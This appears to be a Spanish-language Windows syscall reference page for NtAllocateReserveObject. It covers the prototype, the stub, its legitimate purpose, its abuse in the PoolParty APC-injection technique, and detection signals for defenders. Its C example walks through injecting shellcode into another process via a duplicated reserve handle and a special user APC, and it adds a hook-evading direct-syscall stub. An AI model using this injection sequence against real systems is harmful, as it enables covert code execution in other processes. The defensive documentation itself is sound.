NtAllocateReserveObject

Prototipo

NTSTATUS NtAllocateReserveObject(
  PHANDLE             Handle,
  POBJECT_ATTRIBUTES  ObjectAttributes,
  MEMORY_RESERVE_TYPE Type
);

Argumentos

IDs de syscalls por versión de Windows

Stub del syscall

4C 8B D1            mov r10, rcx
B8 74 00 00 00      mov eax, 0x74      ; Win11 24H2 SSN
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Notas no documentadas

Devuelve un handle a un `KAPC_RESERVE_OBJECT` (Type=0) o `IO_COMPLETION_RESERVE` (Type=1). La idea es que asignar un `KAPC` (o un `IO_COMPLETION_PACKET`) en el momento en que un APC debe encolarse puede fallar si la pool está agotada — lo que de otro modo forzaría al llamador a elegir entre descartar el APC o crashear. Los reserve objects mueven esa asignación a un momento en que el fallo es recuperable; la llamada real a `NtQueueApcThreadEx`/`NtSetIoCompletionEx` reutiliza entonces el objeto pre-asignado vía las rutas `*Ex` dedicadas que aceptan un handle de reserva en su primer parámetro. Documentado por Microsoft sólo para `IO_COMPLETION` (vía la familia `CreateIoCompletionEx`); la variante APC reserve no está documentada pero se usa ampliamente internamente y es muy estable entre builds — el SSN sólo se movió una vez entre Win10 1909 y Win11 24H2.

Uso común por malware

La investigación PoolParty (SafeBreach Labs, Black Hat EU 2023) productivizó el uso ofensivo. **PoolParty Variant 6 — "APC via Reserve Object"** encadena: `NtAllocateReserveObject(MemoryReserveUserApc)` → duplicar el handle al proceso objetivo con `NtDuplicateObject` → `NtQueueApcThreadEx2` contra un hilo worker dentro del objetivo, pasando el handle de reserva duplicado como primer argumento para que el kernel reutilice el KAPC pre-asignado en lugar de asignar uno nuevo. La ventaja sobre la inyección clásica `QueueUserAPC` es que no hay ventana de fallo donde la asignación APC pudiera ser denegada por callbacks ETW Threat-Intelligence o por drivers de protección de pool — el objeto ya existe y está vinculado al hilo correcto. Varios frameworks de red team han absorbido desde entonces la técnica.

Oportunidades de detección

`NtAllocateReserveObject` es extremadamente raro en trazas de llamada user-mode normales — el propio SO lo usa con parsimonia en `kernel32!CreateThreadpoolIoEx` y unas pocas rutas RPC. ETW Microsoft-Windows-Kernel-Process no lo eleva, pero la primitiva *siguiente* sí: un handle duplicado de clase `ReserveObject` apareciendo cross-process vía `NtDuplicateObject` (Sysmon Event 10 con `GrantedAccess` y la columna handle-type), o una llamada `QueueUserAPC2`/`NtQueueApcThreadEx2` donde el primer parámetro es un handle de reserva foráneo, es la firma de alta fidelidad. Los EDRs que hookean sólo el viejo `NtQueueApcThread` perderán esta ruta por completo.

Ejemplos de syscalls directos

// Step 1: pre-allocate the KAPC reserve in our own process.
HANDLE hReserve = NULL;
OBJECT_ATTRIBUTES oa = { sizeof(oa) };
NTSTATUS st = NtAllocateReserveObject(&hReserve, &oa,
                                      0 /* MemoryReserveUserApc */);
if (!NT_SUCCESS(st)) return st;

// Step 2: open the victim worker thread and duplicate the reserve handle in.
HANDLE hTargetProc   = /* OpenProcess on the chosen target  */;
HANDLE hTargetThread = /* an existing thread inside target */;
HANDLE hRemoteReserve = NULL;
st = NtDuplicateObject(NtCurrentProcess(), hReserve,
                       hTargetProc,       &hRemoteReserve,
                       0, 0, DUPLICATE_SAME_ACCESS);
if (!NT_SUCCESS(st)) return st;

// Step 3: queue our APC using the pre-allocated KAPC. NtQueueApcThreadEx2 lets us
// pin the APC to the special user-APC slot, which fires even on alertable-less threads.
st = NtQueueApcThreadEx2(hTargetThread,
                         hRemoteReserve,           // reuse our reserve
                         QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC,
                         (PPS_APC_ROUTINE)pShellcodeInTarget,
                         NULL, NULL, NULL);

; NtAllocateReserveObject direct syscall (Win11 24H2 SSN 0x74)
NtAllocateReserveObject PROC
    mov  r10, rcx
    mov  eax, 74h
    syscall
    ret
NtAllocateReserveObject ENDP

// Cargo: windows-sys = "0.59"
use windows_sys::Win32::Foundation::HANDLE;
use windows_sys::Win32::System::LibraryLoader::*;

type AllocReserveFn = unsafe extern "system" fn(
    *mut HANDLE, *const u8 /*POBJECT_ATTRIBUTES*/, u32 /*MEMORY_RESERVE_TYPE*/,
) -> i32;

unsafe fn reserve_iocp_packet() -> HANDLE {
    let nt = GetModuleHandleA(b"ntdll.dll\0".as_ptr());
    let f: AllocReserveFn = std::mem::transmute(
        GetProcAddress(nt, b"NtAllocateReserveObject\0".as_ptr()).unwrap()
    );
    let oa: [u8; 48] = [0; 48]; // OBJECT_ATTRIBUTES { Length=48, all-zero }
    let mut h: HANDLE = std::ptr::null_mut();
    let _ = f(&mut h, oa.as_ptr(), 1 /* MemoryReserveIoCompletion */);
    h
}

Mapeos MITRE ATT&CK

• T1055.004Process Injection: Asynchronous Procedure Callmitre ↗
• T1055Process Injectionmitre ↗
• T1106Native APImitre ↗